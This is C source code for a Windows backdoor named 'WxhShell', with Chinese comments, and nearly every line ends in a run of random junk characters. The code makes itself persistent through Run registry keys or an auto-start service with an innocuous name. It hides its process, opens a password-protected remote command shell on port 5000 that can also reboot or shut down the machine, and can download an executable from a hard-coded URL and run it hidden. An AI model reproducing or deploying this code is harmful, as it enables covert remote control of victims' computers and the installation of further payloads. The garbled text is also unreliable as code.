} PROCESS_BASIC_INFORMATION; 2{oThef[O
tT5pggml
PROCNTQSIP NtQueryInformationProcess; *g$i5!yM'
:uK
btoA
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -%m3-xZA
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r"]'`qP,
0k[2jh
HANDLE hProcess; @d&H]5
PROCESS_BASIC_INFORMATION pbi; r9@AT(
E*CcV;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]U_ec*a
if(NULL == hInst ) return 0; ^T079=$5
\}dyS8
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZYMw}]#((E
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _vl}*/=Hc
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `;%Z N
8<dOMp;}r
if (!NtQueryInformationProcess) return 0; f_\_9o"l
GP,<`l&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yl({)qK{
if(!hProcess) return 0; o"+
i&Wp~
1}g:|Q
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %SA!p;
' Q7Y-V
CloseHandle(hProcess); 8Y{s;U0n
9-lEt l%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pIO4,VL;W
if(hProcess==NULL) return 0; r"wtZ]69
J;QUPpHZ
HMODULE hMod; $G!R,eQ
char procName[255]; 2QUx&u:
unsigned long cbNeeded; c:\shAM&
2 y8~#*O
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lU.Kc
rAukHeH
CloseHandle(hProcess); j]5WK_~M
ZFxLBb:
if(strstr(procName,"services")) return 1; // 以服务启动 63&^BW
!:0v{ZQ
return 0; // 注册表启动 ^[q /Mw
} Xs$Ufi
j8$Zv%Ca%
// 主模块 (03pJV&K
int StartWxhshell(LPSTR lpCmdLine) 8]"(!i_;)
{ r4{<Z3*N
SOCKET wsl; |g&ymFc
BOOL val=TRUE; ~[W#/kd1n
int port=0; s"~5']8
struct sockaddr_in door; PLR0#).n
&|o$=Ad
if(wscfg.ws_autoins) Install(); *l+Cl%e
Fo|xzLm9*|
port=atoi(lpCmdLine); jna;0)
07_oP(;jT
if(port<=0) port=wscfg.ws_port; ^DAu5 |--R
mG2'Y) Sz
WSADATA data; E4oz|2!m
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m&Y i!7@(
C/@LZ OEL
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I.jZ
wW!r
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8l+H"M&|
door.sin_family = AF_INET; k*Nr!Z!}
door.sin_addr.s_addr = inet_addr("127.0.0.1"); #I0pYA2m
door.sin_port = htons(port); jAhP>
t:
B6M+mx"G
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SoQR#(73HK
closesocket(wsl); \k@$~}xD,
return 1; *75YGD
} yfj(Q s
uO(w1Q"^
if(listen(wsl,2) == INVALID_SOCKET) { B!S 167Op
closesocket(wsl); )u} Q:`9
return 1; 9;=dxWf
} /yPXMJ6W~R
Wxhshell(wsl); 7{M>!}
rY
WSACleanup(); EU+cca|qS9
M0'v&g
return 0; {|<"C?
T3,1m=S
} K`6z&*
:%4imgY`
// 以NT服务方式启动 Ngy=!g?Hk=
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~}ovuf=%
{ Jfhk@27T
DWORD status = 0; v/QUjXBr
DWORD specificError = 0xfffffff; *I*i>==Z
LJTo\^*
serviceStatus.dwServiceType = SERVICE_WIN32; 2YBIWR8z
serviceStatus.dwCurrentState = SERVICE_START_PENDING; X_ TiqV
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NC"yDWnO'
serviceStatus.dwWin32ExitCode = 0; rpV1y$n<F
serviceStatus.dwServiceSpecificExitCode = 0; ?u$u?j|N
serviceStatus.dwCheckPoint = 0; L'A)6^d@S
serviceStatus.dwWaitHint = 0; 4,P bg|
URTzX
2'[
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HEF?mD3h
if (hServiceStatusHandle==0) return; -j2 (R?a
-K%5(Eg
status = GetLastError(); \OwpD,'
if (status!=NO_ERROR) 4YROB912
{ <PD?f/4 /
serviceStatus.dwCurrentState = SERVICE_STOPPED; WI[:-cv
serviceStatus.dwCheckPoint = 0; FY'dJY3O
serviceStatus.dwWaitHint = 0; })F*:9i*
serviceStatus.dwWin32ExitCode = status; 't (O$
serviceStatus.dwServiceSpecificExitCode = specificError; kuMKX`_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \=2m7v#E
return; Wch~Yb
} CXaWgxlK:a
9U_ks[Qa
serviceStatus.dwCurrentState = SERVICE_RUNNING; %&blJ6b
serviceStatus.dwCheckPoint = 0; I["j=r
serviceStatus.dwWaitHint = 0; Qu\@Y[eia5
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l?q qqB
} '-PC7"o
gX @`X
// 处理NT服务事件,比如:启动、停止 MDa7 B +4
VOID WINAPI NTServiceHandler(DWORD fdwControl) qYB~VE03
{
Nh!_l
switch(fdwControl) 6z,Dyy]tl
{ GF<[ }
case SERVICE_CONTROL_STOP: S;\R!%t_
serviceStatus.dwWin32ExitCode = 0; @tT-JwU
serviceStatus.dwCurrentState = SERVICE_STOPPED; hsNWqk qys
serviceStatus.dwCheckPoint = 0; J ++v@4Z
serviceStatus.dwWaitHint = 0; )0 Z! n
{ I*|P@0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wr~yK? : ]
} i775:j~zx0
return; @R6 ttx
case SERVICE_CONTROL_PAUSE: ;iQEkn2T|}
serviceStatus.dwCurrentState = SERVICE_PAUSED; mLbN/M
break; z!wDpG7b
case SERVICE_CONTROL_CONTINUE: M4f;/ `w
serviceStatus.dwCurrentState = SERVICE_RUNNING; U.0kR/>Z=
break; MN8H;0g-
case SERVICE_CONTROL_INTERROGATE: S/A1RUt
break; k[|~NLB8
}; ixfdO\nU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y}G_Z#- !
} ~f>2U]F>5
y0bq;(~X~
// 标准应用程序主函数 $K}DB N; 4
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DT(d@upH
{ " {dek
#CUzuk&
// 获取操作系统版本 QV|>4 ^1D
OsIsNt=GetOsVer(); 1+kE!2b;b
GetModuleFileName(NULL,ExeFile,MAX_PATH); mqtg[~dNc
s}5+3f$f
// 从命令行安装 uXZg1F)
if(strpbrk(lpCmdLine,"iI")) Install(); [3/VCYje
wFS2P+e;X
// 下载执行文件 fC-P.:F#I
if(wscfg.ws_downexe) { wEft4o
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XFwLz
WinExec(wscfg.ws_filenam,SW_HIDE); lHfe<j]
} /%rq
hHs
\1%l^dE@
if(!OsIsNt) { vv0Q$
O->
// 如果时win9x,隐藏进程并且设置为注册表启动 x34f9!
't
HideProc(); VRng=,
StartWxhshell(lpCmdLine); -%c<IX>z9
} }%!tT\8
else ^V*-1r1
if(StartFromService()) 0?Q_@Y
// 以服务方式启动 -b;|q.!
StartServiceCtrlDispatcher(DispatchTable); rVSZ.+n
else W_YY#wf_
// 普通方式启动 ?}p:J{
StartWxhshell(lpCmdLine); nA7M8HB
C|-pD
return 0; T3%C%BcX
} k\)Cw
0Rn+`UnwB
NaUr!s
<X7\z
=========================================== PgM (l3x
1eS_
nLFw~
n]Li->1
_Q(g(p&
G%lu28}D
$0A ~uDbs
" E; Y;r"
62'1X"
#include <stdio.h> yl&UM
qI(
#include <string.h> _`-1aA&n~
#include <windows.h> l1=JrpCan
#include <winsock2.h> d'
>>E
#include <winsvc.h> px''.8
#include <urlmon.h> UL@9W6
<W)u{KS#TY
#pragma comment (lib, "Ws2_32.lib") o:q1beU
#pragma comment (lib, "urlmon.lib") T(?HMyg3
bO5k6i
#define MAX_USER 100 // 最大客户端连接数 w(d>HHg
#define BUF_SOCK 200 // sock buffer L5YnG_M&
#define KEY_BUFF 255 // 输入 buffer Ucw yxXI
_Xcn
N:Rt
#define REBOOT 0 // 重启 `YBkF
#define SHUTDOWN 1 // 关机 Y4.Eq+$gh
[V8fu
qE>
#define DEF_PORT 5000 // 监听端口 M\<w#wZ
H].y w9
#define REG_LEN 16 // 注册表键长度 $(pF;_W
#define SVC_LEN 80 // NT服务名长度 ;
0v>Rfa
m}
?rJ
// 从dll定义API fnKY1y]2+
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =3~/:8o
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u+t$l^S
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {LzH&qu
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7Z,opc
sM[I4.A3
// wxhshell配置信息 _6@hTen`
struct WSCFG { UaG1c%7?X
int ws_port; // 监听端口 ^ZDBO/
char ws_passstr[REG_LEN]; // 口令 n.oUVr=nX
int ws_autoins; // 安装标记, 1=yes 0=no @F*wg
char ws_regname[REG_LEN]; // 注册表键名 fl\aqtF
char ws_svcname[REG_LEN]; // 服务名 J8a*s`ik
char ws_svcdisp[SVC_LEN]; // 服务显示名 "6ECgyD+E!
char ws_svcdesc[SVC_LEN]; // 服务描述信息 `Mj}md;O"
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -f1k0QwL
int ws_downexe; // 下载执行标记, 1=yes 0=no ![6EUMx
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q=Zr>I;(Ks
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +k<w!B*
x`RTp:#
}; >O9o,o/6R
d5 Edu44
// default Wxhshell configuration 3uu~p!2
struct WSCFG wscfg={DEF_PORT, <bck~E
"xuhuanlingzhe", &QX`NO6
1, e?0q9W
"Wxhshell", D#A~Nbc
"Wxhshell", }ArpPU
:]
"WxhShell Service", {Rq1HH
"Wrsky Windows CmdShell Service", ~ I}9;XT
"Please Input Your Password: ", ?|{XZQ~
1, 1k%k`[VC
"http://www.wrsky.com/wxhshell.exe", 0yM[Z':i'{
"Wxhshell.exe" tirIgZ
}; r\6"5cQ=
$h[QQ-
// 消息定义模块 69y;`15
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S{Hx]\
char *msg_ws_prompt="\n\r? for help\n\r#>"; gy:%l
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i`(^[h
?;
char *msg_ws_ext="\n\rExit."; Qe"pW\
char *msg_ws_end="\n\rQuit."; FbnO/! $8
char *msg_ws_boot="\n\rReboot..."; nwt C:*}
char *msg_ws_poff="\n\rShutdown..."; 1_'? JfY-
char *msg_ws_down="\n\rSave to "; `IpA.| Y
IxR?'
char *msg_ws_err="\n\rErr!"; 1' v5/
char *msg_ws_ok="\n\rOK!"; = VLS/\A
^vs=f95
char ExeFile[MAX_PATH]; ^-CINt{O
int nUser = 0; f
).1]~
HANDLE handles[MAX_USER]; )py{\r9X
int OsIsNt; }V;+l8
h4pTq[4*
SERVICE_STATUS serviceStatus; 'V+dBt3
SERVICE_STATUS_HANDLE hServiceStatusHandle; B\*@krI@
sAJ7R(p
// 函数声明 spofLu.
int Install(void); ;{[>&4
int Uninstall(void); ~9\WFF/
int DownloadFile(char *sURL, SOCKET wsh); \qvaE+
int Boot(int flag); BElJB&I
void HideProc(void); DD9 ?V}Yx
int GetOsVer(void); q}BzyC=:n
int Wxhshell(SOCKET wsl); gnp~OVDqfL
void TalkWithClient(void *cs); ^[-el=oKn0
int CmdShell(SOCKET sock); ;8S/6FI
int StartFromService(void); >N\0"F7.
int StartWxhshell(LPSTR lpCmdLine); &M/0g]4p
kU-t7'?4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w6dFb6~R
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7`IpBm<
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// 数据结构和表定义 vKwQXR~C
SERVICE_TABLE_ENTRY DispatchTable[] = Z}A%=Z\/3
{ 0Z<I%<8bK
{wscfg.ws_svcname, NTServiceMain}, wv
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{NULL, NULL} y %$O-q
}; Cd79 tu|
;Yfv!\^ |
// 自我安装 -7uwOr
int Install(void) [OTJV pC
{ b*fgv9Kh'
char svExeFile[MAX_PATH]; [+*$\
HKEY key; R`";Z$~{
strcpy(svExeFile,ExeFile); )Dp/('Z2
LLWB
// 如果是win9x系统,修改注册表设为自启动 AB Xl
if(!OsIsNt) { _{vkX<s
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `dMqe\o%!
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F["wDO
RegCloseKey(key); SjjIr ^
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *{undZ?(>
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `u!l3VZ/4
RegCloseKey(key); ,
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return 0; MC((M,3L
} K'iIJA*Sn
} #eU.p&Zc
} uV-'~8
else { jJ4qR:]
g>d;|sK
// 如果是NT以上系统,安装为系统服务 HBys
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LIU}a5
if (schSCManager!=0) \7MHaQvS
{ GBFw+v/|4
SC_HANDLE schService = CreateService &AuF]VT
( 0U/K7sZ
schSCManager, DcIvhB p
wscfg.ws_svcname, 5G0$
wscfg.ws_svcdisp, r!P}u
SERVICE_ALL_ACCESS, FG3UZVUg9
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #zrTY9m7
SERVICE_AUTO_START, w#JJXXQI
SERVICE_ERROR_NORMAL, /MB{Pmk$R
svExeFile, +5.t. d
NULL, %;D+k
NULL, {
74mf'IW
NULL, 0w'j+
NULL, G Ejd7s]C
NULL ;TcvA
); >U1R.B7f
if (schService!=0) Mfk2mIy
{ d0hhMx6$
CloseServiceHandle(schService); }7{t^>;D
CloseServiceHandle(schSCManager); .yT8NTu~0j
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #QvMVy
strcat(svExeFile,wscfg.ws_svcname); <?D[9Mk$
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5dx&Qu'}ZS
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AeIrr*~]B
RegCloseKey(key); PqNFyQkl
return 0; #B'aU#$u
} TUT][
=.=
} VHOfaCE
CloseServiceHandle(schSCManager); DlMe5=n-u
} ~,D@8tv
} uUE9g
x\?;=@AW
return 1; 6#}93Dgv4
} |vte=)%
""O"
// 自我卸载 $d+DDm1o
int Uninstall(void) zeP}tzQO
{ {)- .xG
HKEY key; Q|}aR:4
*KK+X07
if(!OsIsNt) { k>}g\a,
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y#Ht{)C
RegDeleteValue(key,wscfg.ws_regname); EG'[`<*h
RegCloseKey(key); 8,?v?uE
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "Th$#3
RegDeleteValue(key,wscfg.ws_regname); ogM%N
RegCloseKey(key); F Kc;W
return 0; Zn:R
PMk*
} P ]N
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} &